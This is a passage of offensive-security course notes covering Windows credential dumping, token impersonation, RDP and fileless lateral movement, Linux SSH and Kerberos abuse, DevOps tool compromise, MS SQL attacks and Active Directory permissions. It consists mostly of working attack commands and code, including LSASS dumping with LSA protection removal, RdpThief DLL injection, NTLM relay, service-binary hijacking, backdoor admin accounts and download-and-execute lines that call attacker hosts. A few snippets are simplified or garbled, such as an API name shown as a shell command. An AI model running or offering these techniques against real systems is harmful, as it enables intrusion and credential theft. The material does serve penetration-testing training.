Create a shadow volume to access locked SAM and SYSTEM files:

C:\> wmic shadowcopy call create Volume="C:\"
C:\> vssadmin list shadows
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system

Alternatively, use Registry to export:

C:\> reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam
C:\> reg save HKLM\system C:\users\offsec.corp1\Downloads\system

Decrypt SAM Hashes: Use Creddump7 with pwdump.py script

python pwdump.py /home/kali/system /home/kali/sam

Why: Shadow copies bypass SYSTEM lock on SAM file. Creddump7 decrypts RC4/AES encrypted hashes using keys from SYSTEM file.

12.1.2 Hardening the Local Administrator Account

Theory: Group Policy Preferences (GPP) previously stored admin passwords in XML files accessible to domain users. Microsoft patched this vulnerability (MS14-025) but old GPP files may still exist. LAPS (Local Administrator Password Solution) provides secure centralized management.

LAPS Enumeration:

Use LAPSToolkit to find computers with LAPS configured:

Import-Module .\LAPSToolkit.psl
Get-LAPSComputers
Find-LAPSDelegatedGroups
Get-NetGroupMember -GroupName "LAPS Password Readers"

Why: Identifies which users have read permissions for LAPS passwords, allowing targeted credential theft.

Extract LAPS Passwords (if user has read permissions):

Get-LAPSComputers

Why: LAPS stores clear-text local admin passwords in Active Directory when properly configured.


12.2 Access Tokens

12.2.1 Access Token Theory

Theory: Windows creates access tokens during user authentication containing:

  • User SID (Security Identifier)
  • Group memberships
  • Integrity level (low, medium, high, system)
  • Privileges (set of predefined access rights)

Integrity levels prevent privilege escalation: a process at medium integrity cannot modify processes at high/system integrity. Two types of tokens:

  • Primary token: Used by default for process creation
  • Impersonation token: Allows acting as another user

Privilege States:

  • Enabled/Disabled: Current state
  • Present/Absent: Token contains privilege

View available privileges:

C:\> whoami /priv

Why: Shows which privileges are available in current token to identify escalation paths.

12.2.2 Elevation with Impersonation

Theory: SeImpersonatePrivilege allows impersonating any token we can get a reference to. The built-in NETWORK SERVICE account and IIS application pools have this privilege by default. Impersonation tokens have four levels: Anonymous, Identification, Impersonation, and Delegation.

Named Pipe Impersonation Attack:

Named pipes use print spooler service to send change notifications. If we create a named pipe the spooler will try to connect, allowing us to impersonate the connecting client (SYSTEM).

Create pipe server (C#):

using System;
using System.Runtime.InteropServices;

namespace PrintSpooferNet
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode,
            uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize,
            uint nDefaultTimeOut, IntPtr lpSecurityAttributes);

        [DllImport("kernel32.dll")]
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);

        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("Usage: PrintSpooferNet.exe pipename");
                return;
            }

            string pipeName = args[0];
            IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero);
            ConnectNamedPipe(hPipe, IntPtr.Zero);
            ImpersonateNamedPipeClient(hPipe);
        }
    }
}

Why: Print spooler validates pipe names and normalizes forward slashes, allowing bypass with paths like \\apprsrv01/test\pipe\spoolss.

Execute payload as impersonated user:

C:\> CreateProcessWithTokenW

Why: Converts impersonation token to primary token for spawning new process in impersonated context.


12.3 Kerberos and Domain Credentials

12.3.1 Kerberos Authentication

Theory: Kerberos uses a Key Distribution Center (KDC) with two components:

  1. Authentication Server (AS) - validates user credentials
  2. Ticket Granting Server (TGS) - issues service tickets

Process:

  1. Client sends AS_REQ with encrypted timestamp (using password hash)
  2. AS replies with AS_REP containing session key and Ticket Granting Ticket (TGT)
  3. Client sends TGS_REQ with TGT to request service ticket
  4. TGS replies with TGS_REP containing service ticket encrypted with service account password

Key points:

  • TGT valid for 10 hours by default, can be renewed
  • Service tickets encrypted with service account hash
  • Tickets contain user info, groups, and timestamps

12.3.2 Mimikatz

Theory: Mimikatz is a post-exploitation tool extracting credentials and tokens from memory. LSASS process caches domain credentials for automatic renewal of Kerberos tickets.

Enable SeDebugPrivilege:

C:\Tools\Mimikatz> mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK

Why: SeDebugPrivilege allows reading LSASS memory to dump cached credentials.

Dump cached credentials:

mimikatz # sekurlsa::logonpasswords

Why: LSASS caches NTLM hashes and Kerberos tickets in plaintext for automatic TGT renewal.

LSA Protection Bypass:

LSA Protection (Protected Processes Light) prevents SYSTEM from accessing LSASS memory. Load mimidrv driver to bypass:

mimikatz # !+
[+] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

mimikatz # !processprotect /process:lsass.exe /remove

Why: mimidrv.sys kernel driver patches memory protections to allow credential dumping.

Dump credentials after disabling protection:

mimikatz # sekurlsa::logonpasswords

WDigest Workaround: Enable WDigest caching (Windows 8.1+):

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential = 1

Why: WDigest stores clear-text passwords in LSASS after logon, enabling easier credential theft.


12.4 Processing Credentials Offline

12.4.1 Memory Dump

Theory: Create memory dump of LSASS process without uploading Mimikatz to target.

Create dump via Task Manager:

  1. Open Task Manager, locate lsass.exe
  2. Right-click → "Create dump file"
  3. File saved to C:\Users\<user>\AppData\Local\Temp\lsass.DMP

Copy dump and parse locally with Mimikatz:

mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Why: Avoids running Mimikatz on target, reducing detection risk.

12.4.2 MiniDumpWriteDump

Theory: Create custom C# application using Win32 MiniDumpWriteDump API to dump LSASS without antivirus signatures.

Get LSASS process ID:

Process[] lsass = Process.GetProcessesByName("lsass");
int lsass_pid = lsass[0].Id;

Open LSASS process:

IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);

Create dump file:

FileStream dumpFile = new FileStream("C:\\Windows\\Tasks\\lsass.dmp", FileMode.Create);
bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(),
    2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);

Why: Custom implementation avoids Mimikatz signatures while achieving same credential extraction.


Chapter 13: Windows Lateral Movement

13.1 Remote Desktop Protocol

13.1.1 Lateral Movement with RDP

Theory: RDP is a Microsoft protocol for remote administration. NTLM hashes reside in memory for duration of RDP session. Interactive logins cache credentials; remote logins with network logon do not.

Connect with clear-text credentials:

C:\> rdesktop -u "corp1\dave" apprsrv01

Why: When RDP session initiates, NTLM credentials are cached in memory on the target machine.

Dump credentials from RDP session:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # !processprotect /process:lsass.exe /remove

mimikatz # sekurlsa::logonpasswords

Why: NTLM hash remains in memory even if interactive login. Can dump hashes from any RDP session.

Restricted Admin Mode: Prevents credential caching by not storing credentials in memory

C:\> mstsc.exe /restrictedadmin

Why: Network login avoids storing credentials, mitigating credential theft from RDP.

Pass-the-hash with NTLM:

mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:mstsc.exe /restrictedadmin

Why: Allows RDP lateral movement using only NTLM hash without clear-text password.

13.1.2 Reverse RDP Proxying with Metasploit

Theory: Use Metasploit's autoroute module to create reverse tunnels through compromised machines protected by firewalls.

Set up autoroute:

msf5 exploit(multi/handler) > use multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set session 1
msf5 post(multi/manage/autoroute) > exploit

Add SOCKS proxy:

msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > exploit -j

Configure Proxychains:

sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'

Connect via proxy:

proxychains rdesktop 192.168.120.10

Why: Allows RDP access to internal machines through compromised external host without direct network access.

13.1.3 Reverse RDP Proxying with Chisel

Theory: Chisel is a lightweight Go tunneling tool supporting SOCKS proxies over HTTP/SSH.

Install Golang:

sudo apt install golang

Clone and compile Chisel:

git clone https://github.com/jpillora/chisel.git
cd chisel
go build -o chisel.exe -ldflags "-s -w"

Start Chisel server:

./chisel server -p 8080 --socks5

Configure SSH SOCKS proxy:

ssh -N -D 0.0.0.0:1080 localhost
sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'

Run Chisel client:

chisel.exe client 192.168.119.120:8080 socks

Connect via tunnel:

sudo proxychains rdesktop 192.168.120.10

Why: Modern alternative to Metasploit with better performance and no staged payload requirements.

13.1.4 RDP as Console

Theory: RDP can be used as a command-line tool via mstscax.dll interfaces without GUI.

Use SharpRDP for command execution:

C:\Tools> SharpRDP.exe computername=apprsrv01 command=notepad username=corp1\dave password=lab

Why: Eliminates need for GUI access, allowing command execution in headless environments.

Spawn reverse shell:

C:\Tools> SharpRDP.exe computername=apprsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/met.exe','C:\Windows\Tasks\met.exe')" username=corp1\dave password=lab

Why: Automates post-exploitation without interactive RDP session.

13.1.5 Stealing Clear Text Credentials from RDP

Theory: API hooking intercepts credential-related Win32 API calls during RDP login to steal clear-text passwords.

Relevant APIs for credential theft:

  • CredlsMarshaledCredential - NTLM credentials
  • CrediProtectMemory - Encrypted credentials
  • SspiPrepareForCredRead - Kerberos credentials

RdpThief uses Detours library to hook these APIs. Inject RdpThief DLL before user logs in:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
            uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
            out IntPtr lpThreadId);

        static void Main(string[] args)
        {
            string dllName = "C:\\Tools\\RdpThief.dll";
            Process[] mstscProc = Process.GetProcessesByName("mstsc");
            int pid = mstscProc[0].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, System.Text.Encoding.Default.GetBytes(dllName),
                (uint)dllName.Length, out outSize);

            IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, out IntPtr hThread);
        }
    }
}

Why: Detours hook intercepted APIs at runtime to exfiltrate credentials before encryption.


13.2 Fileless Lateral Movement

13.2.1 Authentication and Execution Theory

Theory: PsExec-style attacks require no file writes by leveraging Service Control Manager (SCM) APIs. Execute code through service binary modification without creating new services.

Use OpenSCManagerW to authenticate:

IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);

Why: Authenticates to target's Service Control Manager using current thread's access token (no credentials needed if account has access).

Modify service binary with ChangeServiceConfigA:

bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null);

Why: Updates SensorService (benign service) binary path to execute payload, avoiding new service creation logs.

Start service with StartServiceA:

bResult = StartServiceA(schService, 0, null);

Why: Executes modified service binary in SYSTEM context without writing files or creating new services.

13.2.2 Implementing Fileless Lateral Movement in C#

P/Invoke for OpenSCManagerW:

[DllImport("advapi32.dll", SetLastError = true)]
public static extern IntPtr OpenSCManager(string lpMachineName, string lpDatabaseName, uint dwDesiredAccess);

P/Invoke for OpenServiceW:

[DllImport("advapi32.dll", SetLastError = true)]
public static extern IntPtr OpenServiceW(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);

P/Invoke for ChangeServiceConfigA:

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
    uint dwStartType, uint dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
    string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
    string lpDisplayName);

P/Invoke for StartServiceA:

[DllImport("advapi32", SetLastError = true)]
public static extern bool StartServiceA(IntPtr hService, uint dwNumServiceArgs, string[] lpServiceArgVectors);

Proof of concept to execute Notepad:

string target = "apprsrv01";
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
IntPtr schService = OpenServiceW(SCMHandle, "SensorService", 0xF01FF);

string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
    null, null, null);
bResult = StartServiceA(schService, 0, null);

Why: Avoids file creation, new service registration, and detection while maintaining SYSTEM execution.


Summary of Key Techniques

TechniqueUse CaseDetection Risk
SAM dump with shadow copyExtract local hashesMedium - Shadow copy creation visible
LAPS enumerationFind LAPS password readersLow - Query operation
Named pipe impersonationEscalate to SYSTEMMedium - Pipe name normalization suspicious
Mimikatz credential dumpExtract domain credentialsHigh - Process injection obvious
RDP with NTLM pass-the-hashLateral movementMedium - Restricted admin mitigates
Reverse RDP via Metasploit/ChiselBypass firewall restrictionsLow - Blends with network traffic
RdpThief API hookingSteal clear-text RDP passwordLow - Runs in mstsc process context
Fileless SCM lateral movementExecute without file writesLow - Avoids detection of new services

Chapter 14: Linux Lateral Movement

SSH Keys and Persistence

SSH key-based authentication provides passwordless access to remote systems. Compromised SSH keys enable attackers to move laterally across the network. SSH private keys are stored in ~/.ssh/ and can be used directly or cracked if passphrase-protected. Persistence can be established by adding attacker-controlled public keys to the ~/.ssh/authorized_keys file on target systems.

SSH Key Theft and Cracking

# Copy private keys from target system
scp -r user@target:~/.ssh ~/stolen_ssh_keys

# Crack passphrase on stolen keys with John the Ripper
ssh2john id_rsa > id_rsa.john
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.john

# Use cracked key for authentication
ssh -i cracked_key user@target

Why: Stolen keys with weak passphrases can be cracked offline. This allows lateral movement without exposing credentials on the network.

SSH Persistence - Adding Authorized Keys

# Add attacker public key to authorized_keys for persistent access
echo "attacker_public_key" >> ~/.ssh/authorized_keys

Why: Ensures continued access even if passwords are changed. The attacker can log in with their private key at any time.

SSH Hijacking with ControlMaster

ControlMaster is an SSH feature that allows multiplexing multiple sessions over a single network connection. When enabled, SSH maintains control sockets in ~/.ssh/ that can be reused by subsequent connections. An attacker with file system access can hijack these control sockets to impersonate the legitimate user.

Exploiting ControlMaster

# Check if ControlMaster is enabled in SSH config
cat ~/.ssh/config | grep -i control

# List active control sockets
ls -la ~/.ssh/control_*

# Connect through hijacked control socket
ssh -O check -S ~/.ssh/control_user@host:22 user@host

Why: ControlMaster creates persistent authenticated channels. Hijacking these sockets grants immediate access without needing credentials.

SSH-Agent and Agent Forwarding

SSH-Agent is a keychain service that holds decrypted private keys in memory, eliminating the need to enter passphrases repeatedly. Agent forwarding (ForwardAgent yes) allows a user to forward their agent socket through an SSH connection to an intermediate server, enabling the intermediate server to use the user's keys for onward connections. This is dangerous if the intermediate server is compromised.

SSH-Agent Key Theft

# Identify SSH agent socket
echo $SSH_AUTH_SOCK

# List keys held by the agent
ssh-add -l

# Steal the agent socket from a compromised intermediate server
export SSH_AUTH_SOCK=/tmp/ssh-<pid>/agent.<n>
ssh-add -l

# Use hijacked agent socket to access target systems
ssh -i /path/to/key user@internal_target

Why: Hijacking the agent socket grants access to all keys the forwarded user has loaded. This enables lateral movement through the compromised intermediate server to internal systems.


DevOps Infrastructure

Ansible Overview

Ansible is an infrastructure automation tool that uses YAML playbooks to define configuration management, deployment, and orchestration tasks. Ansible is agentless, using SSH connections to target systems. Compromised Ansible infrastructure can provide lateral movement paths and credential access.

Ansible Enumeration

# Locate Ansible installation and configuration
find / -name "ansible" -o -name "playbooks" -o -name "inventory" 2>/dev/null

# Check common Ansible directories
ls -la /etc/ansible/
ls -la /usr/local/etc/ansible/

# Review inventory files (list of target hosts)
cat /etc/ansible/hosts
cat /etc/ansible/inventory

# List available Ansible modules
ansible-doc -l

Why: Identifying Ansible infrastructure reveals automation targets and configuration management capabilities. Inventory files show all managed systems.

Ansible Ad-hoc Commands

# Execute ad-hoc command on all hosts
ansible all -i inventory.ini -m shell -a 'whoami'

# Execute with specific user
ansible all -i inventory.ini -m command -a 'id' -u root

# Run command with privilege escalation
ansible all -i inventory.ini -m shell -a 'cat /etc/shadow' --become

Why: Ad-hoc commands allow immediate execution of commands across multiple systems. Useful for rapid lateral movement or credential harvesting when Ansible credentials are compromised.

Ansible Playbooks

# Basic playbook structure
---
- hosts: all
  tasks:
    - name: Execute shell command
      shell: whoami
      register: result

    - name: Display output
      debug:
        msg: "{{ result.stdout }}"

Why: Playbooks define repeatable automation workflows. Compromised playbooks can be modified to execute malicious code across infrastructure.

Exploiting Playbooks for Credentials

# Search playbooks for hardcoded credentials
grep -r "password\|secret\|api_key\|token" /etc/ansible/

# Check playbook variables file
cat /etc/ansible/group_vars/all.yml
cat /etc/ansible/host_vars/target_host.yml

# Look for Ansible vault encrypted files
find /etc/ansible -name "*.vault"

Why: Playbooks frequently contain credentials for database access, API authentication, and service accounts. These credentials enable lateral movement and privilege escalation.

Weak Permissions and Sensitive Data Leakage

# Check permissions on Ansible configuration
ls -la /etc/ansible/
ls -la /etc/ansible/hosts

# Check for world-readable playbook files
find /etc/ansible -type f -perm -004

# Check home directories of users running Ansible
ls -la ~/.ssh/
cat ~/.ssh/config

Why: Weak file permissions allow unprivileged users to read sensitive Ansible configuration and credential files. This expands the attack surface.


Artifactory Overview

Artifactory is a binary repository manager used for storing and managing build artifacts, libraries, and binaries. Compromised Artifactory instances provide access to deployed code, configuration files, and credentials embedded in artifacts. Default or weak credentials are common in test environments.

Artifactory Enumeration

# Discover Artifactory service
nmap -p 8081 target
curl http://target:8081/artifactory

# Check for default credentials
curl -u admin:password http://target:8081/api/system/ping

# List available repositories
curl http://target:8081/artifactory/api/repositories

Why: Identifying Artifactory instances reveals binary repository access points. Default credentials frequently work on non-hardened installations.

Artifactory Backup Compromise

# Locate Artifactory backup files
find / -name "*artifactory*backup*" 2>/dev/null

# Check Artifactory data directory
ls -la /var/opt/jfrog/artifactory/

# Extract database from backup
tar -xzf artifactory-backup.tar.gz

Why: Artifactory backups contain the complete repository database including all stored artifacts, metadata, and user credentials.

Artifactory Database Compromise

# Access Artifactory database (typically Derby or PostgreSQL)
psql -h localhost -U artifactory -d artifactorydb

# Query for stored credentials
SELECT * FROM credentials;
SELECT * FROM users;

Why: Direct database access reveals all users, permissions, and stored credentials without authentication checks.

Adding Admin Account

# Use Artifactory API to create admin user (if current user has admin rights)
curl -X POST -H "Content-Type: application/json" \
  -d '{"name":"attacker","email":"attacker@example.com","password":"password"}' \
  http://target:8081/artifactory/api/users

# Update user permissions to admin
curl -X PATCH \
  -d '{"admin":true}' \
  http://target:8081/artifactory/api/users/attacker

Why: Creating administrative accounts provides persistent authenticated access to the binary repository and all stored artifacts.


Kerberos on Linux

Kerberos on Linux leverages the same Kerberos infrastructure as Windows Active Directory. Linux systems can be kinit (authenticate) to obtain TGTs and use those tickets for authentication to both Linux and Windows services. Compromised Kerberos credentials on Linux enable lateral movement throughout the Active Directory domain.

Stealing Keytab Files

Keytab files contain the plaintext long-term key material for service accounts. They are stored in /etc/krb5.keytab or in user home directories. Compromised keytab files allow impersonation of the associated service account.

# Locate keytab files
find / -name "*.keytab" 2>/dev/null
ls -la /etc/krb5.keytab

# Display keytab contents
klist -k /etc/krb5.keytab

# Extract keys from keytab
kinit -kt /etc/krb5.keytab user@REALM

# Impersonate service account
kinit -kt /path/to/service.keytab service@REALM

Why: Keytab files enable direct Kerberos authentication without needing passwords. Service account keytabs can be used to authenticate to services as the service account.

Credential Cache Files

Kerberos credential caches store TGTs and service tickets after successful authentication. Default cache location is /tmp/krb5cc_<uid>. Compromised credential caches allow reuse of Kerberos tickets without credentials.

# Locate credential cache files
ls -la /tmp/krb5cc_*
env | grep KRB5CCNAME

# Display tickets in cache
klist

# Copy credential cache from compromised user
cp /tmp/krb5cc_1000 /tmp/krb5cc_stolen

# Use stolen credential cache
export KRB5CCNAME=/tmp/krb5cc_stolen
klist

Why: Stolen credential caches allow use of Kerberos tickets for services without needing the original credentials. Useful for lateral movement within the domain.

Using Kerberos with Impacket

Impacket tools support Kerberos authentication on Linux when provided with keytab files or credential caches. This enables lateral movement using compromised Kerberos material.

# psexec with Kerberos authentication
python3 /usr/share/impacket/psexec.py -k -no-pass -dc-ip 192.168.1.100 \
  DOMAIN/user@target.domain.com

# smbexec with keytab
python3 /usr/share/impacket/smbexec.py -k -no-pass -keytab /path/to/user.keytab \
  DOMAIN/user@target.domain.com

# wmiexec with Kerberos
python3 /usr/share/impacket/wmiexec.py -k -no-pass \
  DOMAIN/user@target.domain.com

Why: Impacket tools with Kerberos support enable lateral movement using stolen keytab files or credential caches without exposing credentials on the network.


Chapter 15: Microsoft SQL Server Attacks

MS SQL in Active Directory

Microsoft SQL Server integrates with Active Directory for authentication and authorization. SQL instances are registered with SPNs (Service Principal Names) allowing Kerberos authentication. Attackers can enumerate SQL servers via SPN scanning and exploit misconfigurations in authentication and impersonation.

Enumeration

# SPN scanning for SQL servers
python3 /usr/share/impacket/GetUserSPNs.py -request DOMAIN/user:password -dc-ip 192.168.1.100

# Nmap SQL Server scanning
nmap -p 1433 --script ms-sql-info target

# Query SQL Server for linked servers (if authenticated)
SELECT * FROM master..sysservers;

# Enumerate logins and permissions
SELECT name, type_desc FROM sys.server_principals;
SELECT * FROM sys.syslogins;

Why: SPN scanning identifies SQL servers in the domain. Enumeration of logins and linked servers reveals privilege escalation and lateral movement paths.

Authentication Mechanisms

SQL Server supports multiple authentication modes:

  • Windows Authentication (integrated): Uses Active Directory credentials
  • SQL Authentication: Native SQL Server username/password
  • Mixed mode: Both Windows and SQL authentication enabled

Windows Authentication is preferred in domain environments but more vulnerable to credential theft and delegation attacks. SQL authentication with weak passwords is common in legacy systems.

# Test SQL Server authentication
sqsh -S target -U sa -P password

# Connect with Windows/Kerberos authentication
sqsh -S target -U DOMAIN\\user

# Check SQL Server authentication mode
SELECT SERVERPROPERTY('IsIntegratedSecurityOnly')

Why: Understanding authentication modes reveals which credentials types are valid and where credential storage vulnerabilities exist.

UNC Path Injection and NTLM Relay

UNC paths in SQL queries can be exploited to force NTLM authentication attempts from the SQL Server service account. When the SQL Server initiates authentication to an attacker-controlled SMB server, the NTLM hash can be captured and relayed to other services (NTLM relay attacks).

# UNC path injection in SQL query
xp_cmdshell 'dir \\\\attacker-server\\share'

# Trigger NTLM auth from SQL Server using xp_fileexist
SELECT * FROM master..xp_fileexist '\\\\attacker-server\\share\\file.txt'

# Use responder to capture NTLM hash
responder -I eth0 -v

# Relay captured hash to other services
ntlmrelayx.py -t ldap://dc.domain.com -i

Why: UNC path injection forces the SQL Server service account to authenticate, allowing hash capture and relay to escalate privileges or move laterally.

Relay My Hash (NTLM Relay)

# Set up SMB relay listener
ntlmrelayx.py -t smb://target -c 'whoami'

# Trigger SQL Server to connect to attacker SMB server
xp_cmdshell 'dir \\\\attacker-server\\share'

# Check for successful relay
# Response will contain command output from target

Why: NTLM relay converts captured hashes into authenticated sessions on target systems without needing to crack the hash.


MS SQL Escalation

Privilege Escalation via Impersonation

SQL Server supports the IMPERSONATE permission, allowing users with this privilege to execute commands as another user or service account. Escalation occurs when a high-privilege account (like SA or sysadmin) has impersonation enabled or when delegation chains exist.

-- Check current user
SELECT SYSTEM_USER;

-- List users the current login can impersonate
SELECT * FROM sys.server_principals WHERE type = 'U';

-- Impersonate another user
EXECUTE AS LOGIN = 'DOMAIN\\HighPrivilegeUser';
SELECT SYSTEM_USER;

-- Revert to original user
REVERT;

-- Execute command as impersonated user
EXECUTE AS LOGIN = 'sa'
EXEC xp_cmdshell 'whoami';
REVERT;

Why: Impersonation allows privilege escalation if higher-privilege accounts have this permission enabled. Direct code execution becomes possible as the impersonated account.

Code Execution via xp_cmdshell

xp_cmdshell is an extended stored procedure that executes operating system commands with the privileges of the SQL Server service account. It is disabled by default but can be enabled by administrators.

-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Execute system command
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'powershell.exe -Command "Get-Process"';

-- Reverse shell
EXEC xp_cmdshell 'powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadString(''http://attacker/ps.ps1'')"';

Why: xp_cmdshell enables direct operating system command execution as the SQL Server service account, providing complete code execution capabilities.

Code Execution via sp_OACreate

sp_OACreate creates OLE Automation objects, which can instantiate COM objects for executing code outside the SQL Server process. This technique is useful when xp_cmdshell is disabled.

-- Enable sp_OACreate (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

-- Create Windows shell object and execute command
DECLARE @obj INT;
EXEC sp_OACreate 'WScript.Shell', @obj OUT;
EXEC sp_OAMethod @obj, 'Run', NULL, 'cmd.exe /c whoami > C:\\temp\\output.txt';

-- Execute PowerShell
DECLARE @obj INT;
EXEC sp_OACreate 'WScript.Shell', @obj OUT;
EXEC sp_OAMethod @obj, 'Run', NULL, 'powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadString(''http://attacker/ps.ps1'')"';

Why: sp_OACreate provides code execution when xp_cmdshell is disabled. Uses COM objects to execute arbitrary code as the SQL Server service account.

Custom Assemblies

SQL Server allows creation of custom assemblies (compiled .NET code) within the database. These assemblies can execute arbitrary code with database and potentially system privileges. Custom assemblies require UNSAFE permission set.

-- Enable CLR support (requires sysadmin)
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;

-- Create assembly from binary (DLL compiled with malicious code)
CREATE ASSEMBLY [MaliciousAssembly]
FROM 0x4D5A9000... -- Binary content of malicious DLL

-- Create stored procedure from assembly method
CREATE PROCEDURE sp_Exploit
AS EXTERNAL NAME [MaliciousAssembly].[Namespace.ClassName].MethodName;

-- Execute the malicious procedure
EXEC sp_Exploit;

Why: Custom assemblies allow arbitrary .NET code execution within SQL Server. The DLL can perform system-level operations as the SQL Server service account.


Linked SQL Servers

Linked servers allow SQL Server instances to execute queries and stored procedures on remote SQL Server or other database systems. Credentials are stored for each linked server. Compromised credentials or misconfigured trust can enable lateral movement.

Linked servers are configured in the master database and accessible via sp_executesql or direct queries. An attacker with database access can enumerate and use linked servers for lateral movement.

-- Enumerate linked servers
SELECT * FROM master.sys.servers WHERE is_linked = 1;

-- Query remote linked server
SELECT * FROM [LINKED_SERVER].[remote_database].dbo.table_name;

-- Execute stored procedure on linked server
EXEC ('EXEC sp_who') AT [LINKED_SERVER];

-- Run command on linked server via xp_cmdshell
EXEC ('EXEC xp_cmdshell "whoami"') AT [LINKED_SERVER];

Why: Linked servers provide direct access to remote databases. If the linked server stores credentials or uses impersonation, this enables lateral movement to remote systems.

Come Home To Me

A "Come Home To Me" attack chains linked servers in a loop, using intermediate servers to mask the origin of commands. By hopping through multiple linked servers, the attacker's original connection point becomes obscured, hindering forensic analysis and evasion of network monitoring.

-- Establish chain through multiple linked servers
-- Server A -> Server B -> Server C -> Server A (loop)

-- Execute command through chain
EXEC ('EXEC sp_executesql N''EXEC (''''xp_cmdshell ''''whoami'''''') AT [LINKED_SERVER_2]''') AT [LINKED_SERVER_1];

-- Complex chain execution for command execution on multiple systems
EXEC ('
  EXEC sp_executesql N''
    EXEC (
      ''''EXEC xp_cmdshell ''''whoami'''''')
    AT [LINKED_SERVER_3]
  ''') AT [LINKED_SERVER_2]';

Why: Chained linked server execution obscures the attack origin and uses compromised servers to pivot through the network. This complicates incident response and forensic analysis.


Summary Table: Key Techniques

TechniqueTargetResult
SSH Key TheftIntermediate serversDirect passwordless access
ControlMaster HijackingAuthenticated SSH sessionsImmediate session reuse
Agent ForwardingSSH-Agent forwarded keysAccess through intermediate to internal systems
Ansible InventoryAutomation infrastructureList of all managed systems
Ansible VaultEncrypted credentialsPlaintext secrets if vault password obtained
ArtifactoryBinary repositoryArtifact access, embedded credentials
Keytab TheftService accountsKerberos authentication without password
SQL SPN ScanningSQL ServersDiscovery and enumeration
UNC Path InjectionSQL Server service accountNTLM hash capture and relay
SQL Impersonationsysadmin accountsPrivilege escalation
xp_cmdshellSQL Server processOperating system command execution
Linked ServersRemote SQL instancesLateral movement and data access

Chapter 16: Active Directory Exploitation

AD Object Security Permissions

Object Permission Theory

Active Directory objects are secured using Discretionary Access Control Lists (DACLs) containing Access Control Entries (ACEs). Each ACE specifies what rights a principal has over an object. Permission types include GenericAll (full control), GenericWrite, WriteDACL (modify permissions), WriteProperty (modify specific attributes), and ExtendedRight (extended AD permissions). Security Descriptor Definition Language (SDDL) encodes these permissions. Misconfigurations in permissions create lateral movement and privilege escalation paths.

Enumeration:

# Enumerate ACLs on domain users and groups
Get-ObjectAcl -Identity "domain admins" | Select-Object -ExpandProperty Access

# Get all GenericAll permissions
